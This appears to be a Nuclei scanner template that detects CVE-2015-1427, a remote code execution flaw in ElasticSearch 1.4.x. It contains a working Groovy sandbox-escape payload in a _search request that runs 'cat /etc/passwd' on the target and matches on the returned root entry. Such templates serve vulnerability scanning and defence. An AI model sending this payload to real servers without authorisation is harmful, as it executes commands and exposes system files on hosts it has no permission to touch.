id: CVE-2015-1427 info: name: ElasticSearch 1.4.0/1.4.2 RCE author: pikpikcu severity: critical reference: https://blog.csdn.net/JiangBuLiu/article/details/94457980 tags: cve,cve2015,elasticsearch,rce requests: - raw: - | POST /website/blog/ HTTP/1.1 Host: {{Hostname}} Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 343 { "name": "test" } - | POST /_search HTTP/1.1 Host: {{Hostname}} Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 343 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}} matchers-condition: and matchers: - type: word words: - "application/json" part: header - type: regex regex: - "root:[x*]:0:0:" part: body - type: status status: - 200